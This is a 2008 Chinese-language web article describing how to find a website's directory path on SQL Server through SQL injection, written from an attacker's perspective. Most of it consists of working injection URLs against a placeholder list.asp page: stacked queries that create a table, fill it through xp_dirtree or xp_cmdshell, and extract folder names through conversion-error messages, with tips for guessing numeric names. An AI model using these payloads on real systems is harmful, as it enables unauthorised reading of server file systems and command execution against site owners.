SQL Server取得网站路径的几种方法及比较

2008-08-12 10:02:28 北京时间
如果网站只开了80端口,你会发现下面的方法是比较有用的,其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的)

第一种方法:

 

这个是<<怪异的SQL注入>>中介绍的方法

 

利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)

 

建立表

 

语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

 

返回:正常的信息!说明建表成功!继续!

 

(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

 

语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’c:\’ --

 

返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)

 

语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

 

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

 

将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。

 

再依次爆出表中的目录名称!

 

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

 

dirs where paths not in( ’@Inetpub’))--

 

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

 

将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。

 

再依次爆出表中的目录名称!

 

好我们继续

 

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

 

dirs where paths not in( ’@Inetpub’,’test’))--

 

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

 

将 varchar 值 ’haha’转换为数据类型为 int 的列时发生语法错误。

 

再依次爆出表中的目录名称!

 

好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,

 

一点技巧:

 

有时候你会发现当输入类似

 

http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

 

时不是显示出错,而是网页显示正常

 

晕了吧,别紧张哈

 

看看0<>(select top 1 paths from dirs) 说明返回是一个数字,

 

哈哈,测试一下看看是多少吧

 

100>(select top 1 paths from dirs)

 

返回正常

 

哈哈,用这种大于小于的方法很快就能猜出了

 

好我们继续

 

比如当出现

 

59=(select top 1 paths from dirs)

 

返回正常,

 

ok,说明名字是59

 

输入如下

 

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

 

dirs where paths not in( ’59’))--

 

记得带上引号哟

 

下面的方法就和原来的一样的了

 

还有一个问题就是

 

有时候用上面的方法输入59时,发现下一次的文件夹还是59

 

这个是怎么回事情呢?

 

呵呵,不知道你有没有注意过059和59是一样的?

 

就是这个原因了,哈哈,

 

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

 

dirs where paths not in( ’059’))--

 

发现显示下一个文件夹名字了,ok

 

优缺点分析:

 

优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,

 

缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.

 

而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.

方法二:

 

利用xp_cmdshell

 

哈哈,这个大家一定很熟悉了吧,我就简单说一下

 

建立表

 

语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

 

返回:正常的信息!说明建表成功!继续!

 

(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

 

语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell ’dir c:\ /B/D’ --

 

返回:正常信息。说明写入C盘的所有目录成功了!这里用了dir c:\ /B/D,哈哈,不知道/B/D什么作用就试验试验看

 

语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

 

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

 

将 varchar 值 ’@Inetpub’转换为数据类型为 int 的列时发生语法错误。

 

再依次爆出表中的目录名称!

 

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

 

dirs where paths not in( ’@Inetpub’))--

 

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

 

将 varchar 值 ’test’转换为数据类型为 int 的列时发生语法错误。

 

再依次爆出表中的目录名称!

 

方法同上,就不说了

 

有时候我们也可以用下面的两个扩展来干些事情



发表评论

请文明参与讨论,禁止漫骂攻击。本站保留不刊登无关和不雅评论的权力。


用户名: 密码: 匿名

相关新闻
由于工程需要经常将客户的现场数据导出到公司的开发环境中,随着
在对数据库进行操作过程中我们可能会遇到这种情况,表中的数据可
根据NULL的定义,NULL表示的是未知,因此两个NULL比较的结果既不
ORACLE 数据库有三种标准的备份方法,它们分别为导出/导入(EXPO
近来公司技术,研发都在问我关于内存参数如何设置可以优化Oracle

广告
© 2008 The Czz5 Company. All Rights Reserved. 关于我们 - 联系我们 - 广告业务 - 网站地图 - 版权声明 - 友情连接 - 网站投稿 - 致信编辑